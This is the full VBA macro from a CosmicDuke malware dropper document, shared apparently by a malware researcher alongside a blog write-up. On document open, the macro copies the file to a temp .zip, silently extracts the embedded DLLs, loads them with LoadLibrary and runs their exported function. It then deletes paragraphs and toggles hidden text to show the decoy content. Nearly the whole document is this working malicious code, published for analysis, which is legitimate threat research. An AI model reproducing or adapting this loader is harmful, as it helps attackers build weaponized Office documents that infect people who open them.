CosmicDuke VBA macro

#Blog post: http://bartblaze.blogspot.com/2014/09/a-word-on-cosmicduke.html

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
     Private Declare PtrSafe Function apiCopyFile Lib "kernel32" Alias "CopyFileA" _
      (ByVal lpExistingFileName As String, _
      ByVal lpNewFileName As String, _
      ByVal bFailIfExists As Long) As Long
Private Declare PtrSafe Sub Exp Lib "input64.dll" Alias "exFunc" ()
Private Declare PtrSafe Sub Exp32 Lib "input.dll" Alias "exFunc" ()
#Else
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
     Private Declare Function apiCopyFile Lib "kernel32" Alias "CopyFileA" _
      (ByVal lpExistingFileName As String, _
      ByVal lpNewFileName As String, _
      ByVal bFailIfExists As Long) As Long
Private Declare Sub Exp Lib "input64.dll" Alias "exFunc" ()
Private Declare Sub Exp32 Lib "input.dll" Alias "exFunc" ()
#End If




      Sub CopyFile(SourceFile As String, DestFile As String)
      '---------------------------------------------------------------
      ' PURPOSE: Copy a file on disk from one location to another.
      ' ACCEPTS: The name of the source file and destination file.
      ' RETURNS: Nothing
      '---------------------------------------------------------------
        Dim Result As Long
         If Dir(SourceFile) = "" Then
         Else
            Result = apiCopyFile(SourceFile, DestFile, False)
         End If
      End Sub

Public Sub UnzipSelf(strTargetPath As String)
    Const FOF_SILENT = &H4&
    Const FOF_RENAMEONCOLLISION = &H8&
    Const FOF_NOCONFIRMATION = &H10&
    Const FOF_ALLOWUNDO = &H40&
    Const FOF_FILESONLY = &H80&
    Const FOF_SIMPLEPROGRESS = &H100&
    Const FOF_NOCONFIRMMKDIR = &H200&
    Const FOF_NOERRORUI = &H400&
    Const FOF_NOCOPYSECURITYATTRIBS = &H800&
    Const FOF_NORECURSION = &H1000&
    Const FOF_NO_CONNECTED_ELEMENTS = &H2000&

    Dim oApp As Object

    Dim FileNameFolder As Variant

    Dim SelfPath As String
    Dim NewSelfPath As String
    Dim FSO As Object



    If Right(strTargetPath, 1) <> Application.PathSeparator Then

        strTargetPath = strTargetPath & Application.PathSeparator

    End If



    FileNameFolder = strTargetPath
    FileNameFolderCut = Left(FileNameFolder, Len(FileNameFolder) - 1)

    On Error Resume Next
    Set FSO = CreateObject("scripting.filesystemobject")
    If FSO.FolderExists(FileNameFolder) Then
        FSO.deletefile FileNameFolder & "*"
        FSO.deletefolder FileNameFolder & "*"
    Else
        MkDir FileNameFolder
    End If



    SelfPath = ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name
    NewSelfPath = strTargetPath & ActiveDocument.Name & ".zip"

    Set oApp = CreateObject("Shell.Application")

    cFlags = FOF_SILENT + FOF_NOCONFIRMATION + FOF_NOERRORUI

    Call CopyFile(SelfPath, NewSelfPath)
    Set oSrc = oApp.Namespace((NewSelfPath)).items
    oApp.Namespace((FileNameFolder)).CopyHere oSrc, cFlags
End Sub


Sub OpenPrivateData()
    TempLocation = Environ("temp") & Application.PathSeparator & "AYX78PLY"
    Call UnzipSelf((TempLocation))
    LibLocation = TempLocation & Application.PathSeparator & "word" & Application.PathSeparator
    LoadLibrary LibLocation & "input.dll"
    LoadLibrary LibLocation & "input64.dll"
    On Error GoTo bit32
    Call Exp
    GoTo markend
bit32:
    Call Exp32
markend:
End Sub



Private Sub Document_Open()
    Call OpenPrivateData
    ActiveDocument.ActiveWindow.View.ShowHiddenText = False

    ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
    ActiveDocument.ActiveWindow.Selection.Delete
    ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
    ActiveDocument.ActiveWindow.Selection.Delete
    ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
    ActiveDocument.ActiveWindow.Selection.Delete

    ActiveDocument.ActiveWindow.View.ShowHiddenText = True




End Sub

Private Sub Document_Close()
    ActiveDocument.ActiveWindow.View.ShowHiddenText = False
End Sub


#EOF
#@bartblaze